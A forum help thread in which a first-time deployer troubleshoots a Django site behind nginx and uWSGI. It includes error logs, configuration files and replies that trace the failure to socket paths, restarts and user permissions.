2023/03/19 10:42:32 [crit] 15057#15057: *1 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:42:35 [crit] 15057#15057: *1 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET /favicon.ico HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1", referrer: "http://192.168.1.1/"
2023/03/19 10:43:09 [crit] 15057#15057: *4 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:44:04 [crit] 15057#15057: *4 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:44:40 [crit] 15057#15057: *4 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:44:41 [crit] 15057#15057: *4 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:44:41 [crit] 15057#15057: *9 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:44:42 [crit] 15057#15057: *9 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:44:42 [crit] 15057#15057: *9 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:44:42 [crit] 15057#15057: *9 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 10:44:59 [crit] 15057#15057: *9 connect() to unix:///home/fornakter/django/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project.sock:", host: "192.168.1.1"
2023/03/19 12:36:00 [error] 839#839: *1 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:25:08 [error] 838#838: *2 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:26:23 [error] 838#838: *2 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:27:08 [error] 838#838: *2 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:30:15 [error] 838#838: *6 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:31:02 [error] 838#838: *6 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:32:24 [error] 838#838: *6 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:43:34 [crit] 838#838: *17 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:47:27 [crit] 838#838: *19 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:48:15 [crit] 838#838: *19 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (2: No such file or directory) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"
2023/03/19 13:51:45 [error] 838#838: *22 connect() to unix:///home/fornakter/django/my_project/my_project.sock failed (111: Unknown error) while connecting to upstream, client: 192.168.1.6, server: 192.168.1.1, request: "GET / HTTP/1.1", upstream: "uwsgi://unix:///home/fornakter/django/my_project/my_project.sock:", host: "192.168.1.1"

my_project.ini

# my_project.ini from django project folder
[uwsgi]
# full path to Django project's root directory
chdir            = /home/fornakter/django/my_project/
# Django's wsgi file
module           = my_project.wsgi
# full path to python virtual env
home             = /home/fornakter/django/venv/
# enable uwsgi master process
master          = true
# maximum number of worker processes
processes       = 10
# the socket (use the full path to be safe
socket          = /home/fornakter/django/my_project/my_project.sock
# socket permissions
chmod-socket    = 666
# clear environment on exit
vacuum          = true
# daemonize uwsgi and write messages into given log
daemonize       = /home/fornakter/django/uwsgi-emperor.log

nginx.conf

user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
	worker_connections 768;
}

http {

	sendfile on;
	tcp_nopush on;
	types_hash_max_size 2048;
	include /etc/nginx/mime.types;
	default_type application/octet-stream;


	ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
	ssl_prefer_server_ciphers on;

	access_log /var/log/nginx/access.log;
	error_log /var/log/nginx/error.log;

	gzip on;


	include /etc/nginx/conf.d/*.conf;
	include /etc/nginx/sites-enabled/*;
}```

That appears to be something wrong with the socket file.

Typically I see this error when the socket file doesn’t exist before it’s attempted to be used (uwsgi should be up & running before nginx makes any attempt to use that socket) or that the permissions aren’t correct, and the nginx uid doesn’t have the ability to write to that socket.

To verify that the application itself is functional, I would suggest you try it with a regular IP address before using the socket.

Additionally, I would strongly recommend that the socket be created in a typically-system-permissible location such as /run (or /var/run, which is the more common default but is now just a symlink to /run).

I change path on my_project.ini and on my_project.ini to /var/django/my_project.sock
Now Django doesnt work on local IP
On error log from Nginx say:

*1 connect to unix:///home/fornakter/django/my_project/my_project.sock failed. No such file or directory

of course i mkdir that /var/django

You forgot to change your nginx configuration to match - notice it’s still trying to connect to the original location.

Can You tell me more? It’s my first time, first server.

Notice the error log:

Find your setting in your nginx configuration that is referring to that directory and change it to the new directory.

Problem is, i cant find it.
Maybe i need something do update? Like: i make a chenges, but need to ‘upload’ id to server memory?
Upgrade emperor maybe?

You do need to restart those processes after making changes, yes.

New log
/var/log/nginx/error.log

connect() to unix:///var/django/my_project.sock failed (2: No such file or directory)

But only on public IP

That’s saying that uwsgi isn’t running - it’s uwsgi that is responsible for creating the socket file.

True.
I have information

[emperor] removed uwsgi instance my_project.ini

but why?

You’re not providing enough information here.

Please post your current uwsgi configuration file, your current uwsgi service file, and the complete logs both from uwsgi and syslog when you try to start it.

(You might want to delete any existing uwsgi log files when you do this to make it less confusing.)

emperor.uwsgi.service

[Unit]
Description=my_project
After=network.target
[Service]
User=fornakter
Restart=always
ExecStart=/home/fornakter/django/venv/bin/uwsgi --emperor /home/fornakter/django/venv/vassals --uid www-data --gid www-data
[Install]
WantedBy=multi-user.target

uwsgi_params

uwsgi_param QUERY_STRING $query_string;
uwsgi_param REQUEST_METHOD $request_method;
uwsgi_param CONTENT_TYPE $content_type;
uwsgi_param CONTENT_LENGTH $content_length;

uwsgi_param REQUEST_URI $request_uri;
uwsgi_param PATH_INFO $document_uri;
uwsgi_param DOCUMENT_ROOT $document_root;
uwsgi_param SERVER_PROTOCOL $server_protocol;
uwsgi_param REQUEST_SCHEME $scheme;
uwsgi_param HTTPS $https if_not_empty;

uwsgi_param REMOTE_ADDR $remote_addr;
uwsgi_param REMOTE_PORT $remote_port;
uwsgi_param SERVER_PORT $server_port;
uwsgi_param SERVER_NAME $server_name;

uwsgi-emperor.log

*** Starting uWSGI 2.0.21 (64bit) on [Wed Mar 22 18:11:10 2023] ***
compiled with version: 11.3.0 on 19 March 2023 07:54:58
os: Linux-5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023
nodename: ubuntu
machine: x86_64
clock source: unix
detected number of CPU cores: 2
current working directory: /home/fornakter/django/venv/vassals
detected binary path: /home/fornakter/django/venv/bin/uwsgi
!!! no internal routing support, rebuild with pcre support !!!
chdir() to /home/fornakter/django/my_project/
your processes number limit is 14616
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
bind(): Permission denied [core/socket.c line 230]
*** Starting uWSGI 2.0.21 (64bit) on [Wed Mar 22 18:11:25 2023] ***
compiled with version: 11.3.0 on 19 March 2023 07:54:58
os: Linux-5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023
nodename: ubuntu
machine: x86_64
clock source: unix
detected number of CPU cores: 2
current working directory: /home/fornakter/django/venv/vassals
detected binary path: /home/fornakter/django/venv/bin/uwsgi
!!! no internal routing support, rebuild with pcre support !!!
chdir() to /home/fornakter/django/my_project/
your processes number limit is 14616
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
bind(): Permission denied [core/socket.c line 230]
*** Starting uWSGI 2.0.21 (64bit) on [Wed Mar 22 18:11:40 2023] ***
compiled with version: 11.3.0 on 19 March 2023 07:54:58
os: Linux-5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023
nodename: ubuntu
machine: x86_64
clock source: unix
detected number of CPU cores: 2
current working directory: /home/fornakter/django/venv/vassals
detected binary path: /home/fornakter/django/venv/bin/uwsgi
!!! no internal routing support, rebuild with pcre support !!!
chdir() to /home/fornakter/django/my_project/
your processes number limit is 14616
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
bind(): Permission denied [core/socket.c line 230]
*** Starting uWSGI 2.0.21 (64bit) on [Wed Mar 22 18:11:58 2023] ***
compiled with version: 11.3.0 on 19 March 2023 07:54:58
os: Linux-5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023
nodename: ubuntu
machine: x86_64
clock source: unix
detected number of CPU cores: 2
current working directory: /home/fornakter/django/venv/vassals
detected binary path: /home/fornakter/django/venv/bin/uwsgi
!!! no internal routing support, rebuild with pcre support !!!
chdir() to /home/fornakter/django/my_project/
your processes number limit is 14616
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
bind(): Permission denied [core/socket.c line 230]
*** Starting uWSGI 2.0.21 (64bit) on [Wed Mar 22 18:12:16 2023] ***
compiled with version: 11.3.0 on 19 March 2023 07:54:58
os: Linux-5.15.0-67-generic #74-Ubuntu SMP Wed Feb 22 14:14:39 UTC 2023
nodename: ubuntu
machine: x86_64
clock source: unix
detected number of CPU cores: 2
current working directory: /home/fornakter/django/venv/vassals
detected binary path: /home/fornakter/django/venv/bin/uwsgi
!!! no internal routing support, rebuild with pcre support !!!
chdir() to /home/fornakter/django/my_project/
your processes number limit is 14616
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
bind(): Permission denied [core/socket.c line 230]

From the log:

The account you’re running uwsgi as doesn’t have the rights to create the socket file in the directory described.

I’m also a little confused by what you’ve been posting here.

  • In an early post, you showed the contents of a my_project.ini file. I don’t see where you’re referring to that file yet in anything else you’ve posted. Is that reference in the emperor configuration file? If so, that would also be helpful to see.

  • In your service definition, you have User=fornakter, but in your ExecStart you have --uid www-data --gid www-data. I find it somewhat unlikely that user fornakter is going to have permission to change the uid and gid of a started process to be www-data.

file my_project.ini is on the /home/fornakter/django

So, i need to change User to www-data?
Im going to check that.

Sorry about that werird problems. As i sad, its my first time, and i learn from tutorial like “just copy-paste that”

I understand that. But what is using that file? (What command or configuration file is referring to it?)

Or root - depending upon everything that needs to happen.

Yea, it’s tough - I’ve commented on here previously that a true production-quality Django deployment is one of the most intricate and error-prone things you’ll encounter while working with Django.

That’s part of the reason why I suggest people start out with a simple deployment first - using TCP sockets instead of Unix domain sockets for example, or using gunicorn instead of uwsgi. Once you have a functional system it’s a lot easier to make changes incrementally.